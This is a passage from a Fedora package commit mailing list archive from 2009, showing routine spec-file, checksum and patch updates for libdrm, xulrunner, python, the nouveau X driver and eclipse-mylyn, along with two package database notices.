RCS file: /cvs/pkgs/rpms/libdrm/F-12/libdrm.spec,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- libdrm.spec	9 Oct 2009 05:40:38 -0000	1.89
+++ libdrm.spec	27 Oct 2009 07:55:34 -0000	1.90
@@ -3,7 +3,7 @@
 Summary: Direct Rendering Manager runtime library
 Name: libdrm
 Version: 2.4.15
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://dri.sourceforge.net
@@ -29,6 +29,8 @@ Patch4: libdrm-2.4.0-no-bc.patch
 
 Patch5: libdrm-page-flip.patch
 
+# nouveau: retry pushbuf ioctl if interrupted by signal
+Patch6: libdrm-nouveau-restart-pushbuf.patch
 
 %description
 Direct Rendering Manager runtime library
@@ -49,6 +51,7 @@ Direct Rendering Manager development pac
 %patch3 -p1 -b .forceperms
 %patch4 -p1 -b .no-bc
 %patch5 -p1 -b .page-flip
+%patch6 -p1 -b .nouveau-pbrestart
 
 %build
 autoreconf -v --install || exit 1
@@ -108,6 +111,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libdrm_nouveau.pc
 
 %changelog
+* Tue Oct 27 2009 Ben Skeggs <bskeggs at redhat.com> 2.4.15-2
+- nouveau: retry pushbuf ioctl if interrupted by signal
+
 * Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 2.4.15-1
 - rebase to latest upstream release
 



From xhorak at fedoraproject.org  Tue Oct 27 07:56:01 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 07:56:01 +0000 (UTC)
Subject: rpms/xulrunner/F-11 .cvsignore, 1.69, 1.70 sources, 1.74,
	1.75 xulrunner.spec, 1.166, 1.167
Message-ID: <20091027075601.6A44A11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/xulrunner/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15496

Modified Files:
	.cvsignore sources xulrunner.spec 
Log Message:
Update to 1.9.1.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-11/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	9 Sep 2009 09:03:28 -0000	1.69
+++ .cvsignore	27 Oct 2009 07:56:01 -0000	1.70
@@ -1,2 +1,3 @@
 xulrunner-1.9.1-source.tar.bz2
 xulrunner-1.9.1.3-source.tar.bz2
+xulrunner-1.9.1.4-source.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-11/sources,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- sources	9 Sep 2009 09:03:28 -0000	1.74
+++ sources	27 Oct 2009 07:56:01 -0000	1.75
@@ -1 +1 @@
-ca167e69180ab1230aea0763da270a95  xulrunner-1.9.1.3-source.tar.bz2
+0b6ccb1e50d96b7127a18a69399fcf05  xulrunner-1.9.1.4-source.tar.bz2


Index: xulrunner.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-11/xulrunner.spec,v
retrieving revision 1.166
retrieving revision 1.167
diff -u -p -r1.166 -r1.167
--- xulrunner.spec	9 Sep 2009 09:03:28 -0000	1.166
+++ xulrunner.spec	27 Oct 2009 07:56:01 -0000	1.167
@@ -11,7 +11,7 @@
 
 Summary:        XUL Runtime for Gecko Applications
 Name:           xulrunner
-Version:        1.9.1.3
+Version:        1.9.1.4
 Release:        1%{?dist}
 URL:            http://developer.mozilla.org/En/XULRunner
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
@@ -452,6 +452,9 @@ fi
 #---------------------------------------------------------------------
 
 %changelog
+* Mon Oct 26 2009 Jan Horak <jhorak at redhat.com> - 1.9.1.4-1
+- Update to 1.9.1.4
+
 * Mon Sep  7 2009 Jan Horak <jhorak at redhat.com> - 1.9.1.3-1
 - Update to 1.9.1.3
 



From dmalcolm at fedoraproject.org  Tue Oct 27 07:57:25 2009
From: dmalcolm at fedoraproject.org (dmalcolm)
Date: Tue, 27 Oct 2009 07:57:25 +0000 (UTC)
Subject: rpms/python/devel .cvsignore, 1.20, 1.21 python.spec, 1.152,
	1.153 sources, 1.20, 1.21
Message-ID: <20091027075725.5660A11C00E6@cvs1.fedora.phx.redhat.com>

Author: dmalcolm

Update of /cvs/pkgs/rpms/python/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16078

Modified Files:
	.cvsignore python.spec sources 
Log Message:
2.6.4



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	30 Jul 2009 20:57:27 -0000	1.20
+++ .cvsignore	27 Oct 2009 07:57:24 -0000	1.21
@@ -1 +1 @@
-Python-2.6.2.tar.bz2
+Python-2.6.4.tar.bz2


Index: python.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python/devel/python.spec,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- python.spec	21 Aug 2009 15:34:49 -0000	1.152
+++ python.spec	27 Oct 2009 07:57:25 -0000	1.153
@@ -21,8 +21,8 @@
 
 Summary: An interpreted, interactive, object-oriented programming language
 Name: %{python}
-Version: 2.6.2
-Release: 2%{?dist}
+Version: 2.6.4
+Release: 1%{?dist}
 License: Python
 Group: Development/Languages
 Provides: python-abi = %{pybasever}
@@ -538,6 +538,9 @@ rm -fr $RPM_BUILD_ROOT
 %{_libdir}/python%{pybasever}/lib-dynload/_testcapimodule.so
 
 %changelog
+* Mon Oct 26 2009 David Malcolm <dmalcolm at redhat.com> - 2.6.4-1
+- Update to 2.6.4
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.6.2-2
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	30 Jul 2009 20:57:27 -0000	1.20
+++ sources	27 Oct 2009 07:57:25 -0000	1.21
@@ -1 +1 @@
-245db9f1e0f09ab7e0faaa0cf7301011  Python-2.6.2.tar.bz2
+fee5408634a54e721a93531aba37f8c1  Python-2.6.4.tar.bz2



From bskeggs at fedoraproject.org  Tue Oct 27 07:57:21 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Tue, 27 Oct 2009 07:57:21 +0000 (UTC)
Subject: rpms/xorg-x11-drv-nouveau/F-12 .cvsignore, 1.49,
	1.50 nouveau-bicubic-2x.patch, 1.17,
	1.18 nouveau-multiple-xserver.patch, 1.19,
	1.20 nouveau-tile7000.patch, 1.7, 1.8 sources, 1.50,
	1.51 xorg-x11-drv-nouveau.spec, 1.62, 1.63
Message-ID: <20091027075721.2316E11C00E6@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15960

Modified Files:
	.cvsignore nouveau-bicubic-2x.patch 
	nouveau-multiple-xserver.patch nouveau-tile7000.patch sources 
	xorg-x11-drv-nouveau.spec 
Log Message:
* Tue Oct 27 2009 Ben Skeggs <bskeggs at redhat.com> 0.0.15-15.20091022git718a41b
- misc fixes, initial NVA8 support




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/.cvsignore,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- .cvsignore	8 Oct 2009 06:29:02 -0000	1.49
+++ .cvsignore	27 Oct 2009 07:57:20 -0000	1.50
@@ -1 +1 @@
-xf86-video-nouveau-0.0.15-20091008git3f020b0.tar.bz2
+xf86-video-nouveau-0.0.15-20091022git718a41b.tar.bz2

nouveau-bicubic-2x.patch:
 nv30_xv_tex.c |    2 +-
 nv40_xv_tex.c |    3 +--
 2 files changed, 2 insertions(+), 3 deletions(-)

Index: nouveau-bicubic-2x.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/nouveau-bicubic-2x.patch,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- nouveau-bicubic-2x.patch	8 Oct 2009 06:29:02 -0000	1.17
+++ nouveau-bicubic-2x.patch	27 Oct 2009 07:57:20 -0000	1.18
@@ -1,4 +1,4 @@
-From a3be167495bdf7149c2a16ee5ad87e532e27191c Mon Sep 17 00:00:00 2001
+From 396d5530b47275274f5e082860ca5882ba53d90d Mon Sep 17 00:00:00 2001
 From: Ben Skeggs <skeggsb at beleth.localdomain>
 Date: Mon, 4 May 2009 17:04:34 +1000
 Subject: [PATCH 2/3] xv: only use bicubic filtering when scaling >=2x
@@ -35,5 +35,5 @@ index 3d1f146..e0efb41 100644
  	else
  		NV40_LoadFragProg(pScrn, &nv30_fp_yv12_bilinear);
 -- 
-1.6.5.rc2
+1.6.5.1
 

nouveau-multiple-xserver.patch:
 nv_driver.c |   85 ++++++++++++++++++++++++++++++++++++++++--------------------
 1 file changed, 57 insertions(+), 28 deletions(-)

Index: nouveau-multiple-xserver.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/nouveau-multiple-xserver.patch,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- nouveau-multiple-xserver.patch	8 Oct 2009 06:29:02 -0000	1.19
+++ nouveau-multiple-xserver.patch	27 Oct 2009 07:57:20 -0000	1.20
@@ -1,4 +1,4 @@
-From 29f3ff4f95c58a0632d5c7a927d8348917c83e23 Mon Sep 17 00:00:00 2001
+From 2d20c40d34076bc81fa02acac106a10140e5c811 Mon Sep 17 00:00:00 2001
 From: Ben Skeggs <bskeggs at redhat.com>
 Date: Sun, 28 Jun 2009 20:35:54 +1000
 Subject: [PATCH 1/3] f12: hack to support multiple xserver instances
@@ -8,7 +8,7 @@ Subject: [PATCH 1/3] f12: hack to suppor
  1 files changed, 57 insertions(+), 27 deletions(-)
 
 diff --git a/src/nv_driver.c b/src/nv_driver.c
-index 7763faa..53d8a63 100644
+index 4595940..f07bc12 100644
 --- a/src/nv_driver.c
 +++ b/src/nv_driver.c
 @@ -21,6 +21,7 @@
@@ -48,7 +48,7 @@ index 7763faa..53d8a63 100644
  	ret = drmDropMaster(nouveau_device(pNv->dev)->fd);
  	if (ret)
  		ErrorF("Error dropping master: %d\n", ret);
-@@ -1187,6 +1193,52 @@ NVPreInit(ScrnInfoPtr pScrn, int flags)
+@@ -1183,6 +1189,52 @@ NVPreInit(ScrnInfoPtr pScrn, int flags)
  
  
  static Bool
@@ -101,7 +101,7 @@ index 7763faa..53d8a63 100644
  NVMapMem(ScrnInfoPtr pScrn)
  {
  	NVPtr pNv = NVPTR(pScrn);
-@@ -1226,6 +1278,9 @@ NVMapMem(ScrnInfoPtr pScrn)
+@@ -1222,6 +1274,9 @@ NVMapMem(ScrnInfoPtr pScrn)
  		goto skip_offscreen_gart;
  
  	if (!pNv->exa_driver_pixmaps) {
@@ -111,7 +111,7 @@ index 7763faa..53d8a63 100644
  		size = (pNv->VRAMPhysicalSize / 2) - size;
  
  		if (pNv->Architecture >= NV_ARCH_50) {
-@@ -1242,6 +1297,7 @@ NVMapMem(ScrnInfoPtr pScrn)
+@@ -1238,6 +1293,7 @@ NVMapMem(ScrnInfoPtr pScrn)
  			return FALSE;
  		}
  
@@ -119,7 +119,7 @@ index 7763faa..53d8a63 100644
  		xf86DrvMsg(pScrn->scrnIndex, X_INFO,
  			   "Allocated %dMiB VRAM for offscreen pixmaps\n",
  			   (uint32_t)(pNv->offscreen->size >> 20));
-@@ -1251,32 +1307,6 @@ NVMapMem(ScrnInfoPtr pScrn)
+@@ -1247,32 +1303,6 @@ NVMapMem(ScrnInfoPtr pScrn)
  		nouveau_bo_unmap(pNv->offscreen);
  	}
  
@@ -153,5 +153,5 @@ index 7763faa..53d8a63 100644
  	/* We don't need to allocate cursors / lut here if we're using
  	 * kernel modesetting
 -- 
-1.6.5.rc2
+1.6.5.1
 

nouveau-tile7000.patch:
 drmmode_display.c |    4 ++--
 nv_driver.c       |    7 ++++++-
 nv_type.h         |    3 ++-
 3 files changed, 10 insertions(+), 4 deletions(-)

Index: nouveau-tile7000.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/nouveau-tile7000.patch,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- nouveau-tile7000.patch	8 Oct 2009 06:29:02 -0000	1.7
+++ nouveau-tile7000.patch	27 Oct 2009 07:57:20 -0000	1.8
@@ -1,4 +1,4 @@
-From 245b7bc4920a485b9e3ebe6e7e0dc9bf40da4744 Mon Sep 17 00:00:00 2001
+From ddbed1af07484538f6d005115a795623c65e593e Mon Sep 17 00:00:00 2001
 From: Ben Skeggs <bskeggs at redhat.com>
 Date: Wed, 9 Sep 2009 16:26:25 +1000
 Subject: [PATCH 3/3] f12: use 0x7000 flags for scanout to avoid mixed tile mode corruption
@@ -32,10 +32,10 @@ index 3930814..5fbec9b 100644
  		pitch = NOUVEAU_ALIGN(width * (scrn->bitsPerPixel >> 3), 64);
  	} else {
 diff --git a/src/nv_driver.c b/src/nv_driver.c
-index 53d8a63..c06679b 100644
+index f07bc12..c907015 100644
 --- a/src/nv_driver.c
 +++ b/src/nv_driver.c
-@@ -696,6 +696,7 @@ NVPreInitDRM(ScrnInfoPtr pScrn)
+@@ -692,6 +692,7 @@ NVPreInitDRM(ScrnInfoPtr pScrn)
  {
  	NVPtr pNv = NVPTR(pScrn);
  	drmVersion *version;
@@ -43,7 +43,7 @@ index 53d8a63..c06679b 100644
  	char *bus_id;
  	int ret;
  
-@@ -742,6 +743,10 @@ NVPreInitDRM(ScrnInfoPtr pScrn)
+@@ -738,6 +739,10 @@ NVPreInitDRM(ScrnInfoPtr pScrn)
  		return FALSE;
  	}
  
@@ -54,7 +54,7 @@ index 53d8a63..c06679b 100644
  	/* Check if KMS is enabled before we do anything, we don't want to
  	 * go stomping on registers behind its back
  	 */
-@@ -1256,7 +1261,7 @@ NVMapMem(ScrnInfoPtr pScrn)
+@@ -1252,7 +1257,7 @@ NVMapMem(ScrnInfoPtr pScrn)
  	size = pScrn->displayWidth * (pScrn->bitsPerPixel >> 3);
  	if (pNv->Architecture >= NV_ARCH_50 && pNv->tiled_scanout) {
  		tile_mode = 4;
@@ -77,5 +77,5 @@ index ddf121c..6e1f2f3 100644
      struct nouveau_bo * scanout;
      struct nouveau_bo * offscreen;
 -- 
-1.6.5.rc2
+1.6.5.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/sources,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sources	8 Oct 2009 06:29:02 -0000	1.50
+++ sources	27 Oct 2009 07:57:20 -0000	1.51
@@ -1 +1 @@
-78ecc78f09904532960c76c2766aec7e  xf86-video-nouveau-0.0.15-20091008git3f020b0.tar.bz2
+420ce3bf98961f680b3b10d2821fcde8  xf86-video-nouveau-0.0.15-20091022git718a41b.tar.bz2


Index: xorg-x11-drv-nouveau.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nouveau/F-12/xorg-x11-drv-nouveau.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- xorg-x11-drv-nouveau.spec	8 Oct 2009 06:29:02 -0000	1.62
+++ xorg-x11-drv-nouveau.spec	27 Oct 2009 07:57:20 -0000	1.63
@@ -7,8 +7,8 @@
 # git clone git://git.freedesktop.org/git/nouveau/xf86-video-nouveau
 # git-archive --format=tar --prefix=xf86-video-nouveau-0.0.10/ %{git_version} | bzip2 > xf86-video-nouveau-0.0.10-%{gitdate}.tar.bz2
 
-%define gitdate 20091008
-%define git_version 3f020b0
+%define gitdate 20091022
+%define git_version 718a41b
 
 %define snapshot %{gitdate}git%{git_version}
 
@@ -19,7 +19,7 @@ Name:      xorg-x11-drv-nouveau
 # need to set an epoch to get version number in sync with upstream
 Epoch:     1
 Version:   %{nouveau_version}
-Release:   14.%{snapshot}%{?dist}
+Release:   15.%{snapshot}%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -83,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/nouveau.4*
 
 %changelog
+* Tue Oct 27 2009 Ben Skeggs <bskeggs at redhat.com> 0.0.15-15.20091022git718a41b
+- misc fixes, initial NVA8 support
+
 * Thu Oct 09 2009 Ben Skeggs <bskeggs at redhat.com> 0.0.15-14.20091008git3f020b0
 - update from upstream, fixes various issues, especially with recent xservers
 



From xhorak at fedoraproject.org  Tue Oct 27 08:01:40 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 08:01:40 +0000 (UTC)
Subject: rpms/xulrunner/F-10 mozilla-build.patch,1.1,1.2
Message-ID: <20091027080140.B7EAC11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/xulrunner/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17808

Modified Files:
	mozilla-build.patch 
Log Message:
Fix patch

mozilla-build.patch:
 Makefile.in         |    1 -
 ssl/src/Makefile.in |    2 --
 2 files changed, 3 deletions(-)

Index: mozilla-build.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-10/mozilla-build.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- mozilla-build.patch	6 Nov 2007 10:12:06 -0000	1.1
+++ mozilla-build.patch	27 Oct 2009 08:01:40 -0000	1.2
@@ -1,18 +1,33 @@
-diff -up mozilla/security/manager/Makefile.in.old mozilla/security/manager/Makefile.in
---- mozilla/security/manager/Makefile.in.old	2007-10-25 00:25:30.000000000 +0200
-+++ mozilla/security/manager/Makefile.in	2007-11-06 10:57:39.000000000 +0100
-@@ -150,7 +150,6 @@ DEFAULT_GMAKE_FLAGS += NSPR_INCLUDE_DIR=
+diff -upU8 mozilla/security/manager/Makefile.in.mozilla-build mozilla/security/manager/Makefile.in
+--- mozilla/security/manager/Makefile.in.mozilla-build	2009-10-07 14:39:15.000000000 +0200
++++ mozilla/security/manager/Makefile.in	2009-10-07 14:39:54.000000000 +0200
+@@ -174,17 +174,16 @@ endif
+ DEFAULT_GMAKE_FLAGS = MAKE="$(MAKE) -j1" -j1
+ DEFAULT_GMAKE_FLAGS += CC="$(CC)"
+ DEFAULT_GMAKE_FLAGS += SOURCE_MD_DIR=$(ABS_DIST)
+ DEFAULT_GMAKE_FLAGS += DIST=$(ABS_DIST)
+ DEFAULT_GMAKE_FLAGS += NSPR_INCLUDE_DIR=$(NSPR_INCLUDE_DIR)
  DEFAULT_GMAKE_FLAGS += NSPR_LIB_DIR=$(NSPR_LIB_DIR)
  DEFAULT_GMAKE_FLAGS += MOZILLA_CLIENT=1
  DEFAULT_GMAKE_FLAGS += NO_MDUPDATE=1
 -DEFAULT_GMAKE_FLAGS += NSS_ENABLE_ECC=1
+ DEFAULT_GMAKE_FLAGS += IMPORT_LIB_SUFFIX=".$(IMPORT_LIB_SUFFIX)"
  ABS_topsrcdir   := $(shell cd $(topsrcdir); pwd)
  ifneq ($(ABS_topsrcdir),$(MOZ_BUILD_ROOT))
  DEFAULT_GMAKE_FLAGS += BUILD_TREE=$(MOZ_BUILD_ROOT)
-diff -up mozilla/security/manager/ssl/src/Makefile.in.old mozilla/security/manager/ssl/src/Makefile.in
---- mozilla/security/manager/ssl/src/Makefile.in.old	2007-10-19 21:16:36.000000000 +0200
-+++ mozilla/security/manager/ssl/src/Makefile.in	2007-11-06 10:57:52.000000000 +0100
-@@ -134,8 +134,6 @@ REQUIRES	= nspr \
+ endif
+ ifndef MOZ_DEBUG
+ DEFAULT_GMAKE_FLAGS += BUILD_OPT=1 OPT_CODE_SIZE=1
+ endif
+diff -upU8 mozilla/security/manager/ssl/src/Makefile.in.mozilla-build mozilla/security/manager/ssl/src/Makefile.in
+--- mozilla/security/manager/ssl/src/Makefile.in.mozilla-build	2009-10-07 14:39:39.000000000 +0200
++++ mozilla/security/manager/ssl/src/Makefile.in	2009-10-07 14:39:52.000000000 +0200
+@@ -130,18 +130,16 @@ REQUIRES	= nspr \
+ 		  content \
+ 		  xpconnect \
+ 		  unicharutil \
+ 		  pipboot \
+ 		  $(NULL)
  
  EXTRA_DEPS = $(NSS_DEP_LIBS)
  
@@ -21,3 +36,8 @@ diff -up mozilla/security/manager/ssl/sr
  # Use local includes because they are inserted before INCLUDES
  # so that Mozilla's nss.h is used, not glibc's
  LOCAL_INCLUDES += $(NSS_CFLAGS)
+ 
+ EXTRA_DSO_LDOPTS += \
+ 		$(MOZ_UNICHARUTIL_LIBS) \
+ 		$(MOZ_COMPONENT_LIBS) \
+ 		$(MOZ_JS_LIBS) \



From pkgdb at fedoraproject.org  Tue Oct 27 08:03:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 08:03:56 +0000
Subject: [pkgdb] fltk: cassmodiah has requested watchcommits
Message-ID: <20091027080356.775A410F880@bastion2.fedora.phx.redhat.com>

cassmodiah has requested the watchcommits acl on fltk (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/fltk



From pkgdb at fedoraproject.org  Tue Oct 27 08:04:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 08:04:09 +0000
Subject: [pkgdb] fltk: cassmodiah has given up watchcommits
Message-ID: <20091027080410.1D8DF10F880@bastion2.fedora.phx.redhat.com>

cassmodiah has given up the watchcommits acl on fltk (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/fltk



From xhorak at fedoraproject.org  Tue Oct 27 08:19:57 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 08:19:57 +0000 (UTC)
Subject: rpms/xulrunner/F-12 .cvsignore, 1.71, 1.72 sources, 1.74,
	1.75 xulrunner.spec, 1.176, 1.177
Message-ID: <20091027081957.B819C11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/xulrunner/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21074

Modified Files:
	.cvsignore sources xulrunner.spec 
Log Message:
Update to 1.9.1.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-12/.cvsignore,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- .cvsignore	9 Sep 2009 09:28:33 -0000	1.71
+++ .cvsignore	27 Oct 2009 08:19:55 -0000	1.72
@@ -1,3 +1,4 @@
 xulrunner-1.9.1.1-source.tar.bz2
 xulrunner-1.9.1.2-source.tar.bz2
 xulrunner-1.9.1.3-source.tar.bz2
+xulrunner-1.9.1.4-source.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-12/sources,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- sources	9 Sep 2009 09:28:33 -0000	1.74
+++ sources	27 Oct 2009 08:19:56 -0000	1.75
@@ -1 +1 @@
-ca167e69180ab1230aea0763da270a95  xulrunner-1.9.1.3-source.tar.bz2
+0b6ccb1e50d96b7127a18a69399fcf05  xulrunner-1.9.1.4-source.tar.bz2


Index: xulrunner.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-12/xulrunner.spec,v
retrieving revision 1.176
retrieving revision 1.177
diff -u -p -r1.176 -r1.177
--- xulrunner.spec	9 Sep 2009 09:28:33 -0000	1.176
+++ xulrunner.spec	27 Oct 2009 08:19:56 -0000	1.177
@@ -11,7 +11,7 @@
 
 Summary:        XUL Runtime for Gecko Applications
 Name:           xulrunner
-Version:        1.9.1.3
+Version:        1.9.1.4
 Release:        1%{?dist}
 URL:            http://developer.mozilla.org/En/XULRunner
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
@@ -455,6 +455,9 @@ fi
 #---------------------------------------------------------------------
 
 %changelog
+* Mon Oct 26 2009 Jan Horak <jhorak at redhat.com> - 1.9.1.4-1
+- Update to 1.9.1.4
+
 * Mon Sep  7 2009 Jan Horak <jhorak at redhat.com> - 1.9.1.3-1
 - Update to 1.9.1.3
 



From xhorak at fedoraproject.org  Tue Oct 27 08:42:31 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 08:42:31 +0000 (UTC)
Subject: rpms/xulrunner/F-12 mozilla-libnotify.patch,1.2,1.3
Message-ID: <20091027084232.19F0311C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/xulrunner/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24823

Modified Files:
	mozilla-libnotify.patch 
Log Message:
Fixed patch

mozilla-libnotify.patch:
 config/autoconf.mk.in                             |    4 
 config/system-headers                             |    1 
 configure.in                                      |   34 ++
 js/src/config/system-headers                      |    1 
 toolkit/components/alerts/src/Makefile.in         |    2 
 toolkit/components/alerts/src/nsAlertsService.cpp |   12 
 toolkit/components/build/nsToolkitCompsCID.h      |   11 
 toolkit/system/gnome/Makefile.in                  |   18 +
 toolkit/system/gnome/nsAlertsIconListener.cpp     |  326 ++++++++++++++++++++++
 toolkit/system/gnome/nsAlertsIconListener.h       |   85 +++++
 toolkit/system/gnome/nsAlertsService.cpp          |   73 ++++
 toolkit/system/gnome/nsAlertsService.h            |   59 +++
 toolkit/system/gnome/nsGnomeModule.cpp            |   17 +
 13 files changed, 641 insertions(+), 2 deletions(-)

Index: mozilla-libnotify.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xulrunner/F-12/mozilla-libnotify.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mozilla-libnotify.patch	21 Aug 2009 13:45:13 -0000	1.2
+++ mozilla-libnotify.patch	27 Oct 2009 08:42:30 -0000	1.3
@@ -29,7 +29,7 @@ diff -up mozilla-1.9.1/configure.in.libn
 @@ -132,6 +132,7 @@ LIBGNOME_VERSION=2.0
  STARTUP_NOTIFICATION_VERSION=0.8
  DBUS_VERSION=0.60
- SQLITE_VERSION=3.6.10
+ SQLITE_VERSION=3.6.16
 +LIBNOTIFY_VERSION=0.4
  
  MSMANIFEST_TOOL=



From akurtakov at fedoraproject.org  Tue Oct 27 09:25:55 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 27 Oct 2009 09:25:55 +0000 (UTC)
Subject: rpms/eclipse-mylyn/devel fetch-mylyn.sh, 1.11,
	1.12 eclipse-mylyn.spec, 1.41, 1.42 .cvsignore, 1.10,
	1.11 eclipse-mylyn-wikitext_builddoc.patch, 1.2,
	1.3 eclipse-mylyn-addfedoracustomizations.patch, 1.9,
	1.10 sources, 1.13, 1.14
Message-ID: <20091027092555.1E81F11C00E6@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse-mylyn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1018/devel

Modified Files:
	fetch-mylyn.sh eclipse-mylyn.spec .cvsignore 
	eclipse-mylyn-wikitext_builddoc.patch 
	eclipse-mylyn-addfedoracustomizations.patch sources 
Log Message:
- Update to 3.3.0.
- Add cdt bridge.
- Remove BR/R which are required by eclipse itself now.


Index: fetch-mylyn.sh
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-mylyn/devel/fetch-mylyn.sh,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- fetch-mylyn.sh	4 Aug 2009 13:46:22 -0000	1.11
+++ fetch-mylyn.sh	27 Oct 2009 09:25:54 -0000	1.12
@@ -1,5 +1,7 @@
 #!/bin/sh
 
+rm -fr org.eclipse.mylyn
+
 for f in \
 org.eclipse.mylyn \
 org.eclipse.mylyn.bugzilla.core \
@@ -20,6 +22,7 @@ org.eclipse.mylyn.discovery.ui \
 org.eclipse.mylyn-feature \
 org.eclipse.mylyn.help.ui \
 org.eclipse.mylyn.ide.ant \
+org.eclipse.mylyn.ide.dev \
 org.eclipse.mylyn.ide-feature \
 org.eclipse.mylyn.ide.tests \
 org.eclipse.mylyn.ide.ui \
@@ -67,7 +70,11 @@ org.eclipse.mylyn.wikitext.tracwiki.ui \
 org.eclipse.mylyn.wikitext.twiki.core \
 org.eclipse.mylyn.wikitext.twiki.ui \
 org.eclipse.mylyn.wikitext.ui \
+org.eclipse.mylyn.cdt-feature \
+org.eclipse.mylyn.cdt.ui \
 ; do
 cvs -d :pserver:anonymous at dev.eclipse.org:/cvsroot/tools \
-export -r R_3_2_1 org.eclipse.mylyn/$f;
+export -r R_3_3_0 org.eclipse.mylyn/$f;
 done
+
+tar cjf org.eclipse.mylyn-R_3_3_0-fetched-src.tar.bz2 org.eclipse.mylyn


Index: eclipse-mylyn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-mylyn/devel/eclipse-mylyn.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- eclipse-mylyn.spec	22 Sep 2009 11:29:18 -0000	1.41
+++ eclipse-mylyn.spec	27 Oct 2009 09:25:54 -0000	1.42
@@ -1,8 +1,8 @@
 %define eclipse_base        %{_libdir}/eclipse
 %define install_loc         %{_datadir}/eclipse/dropins
 # Taken from update site so we match upstream
-# http://download.eclipse.org/tools/mylyn/update/e3.4/
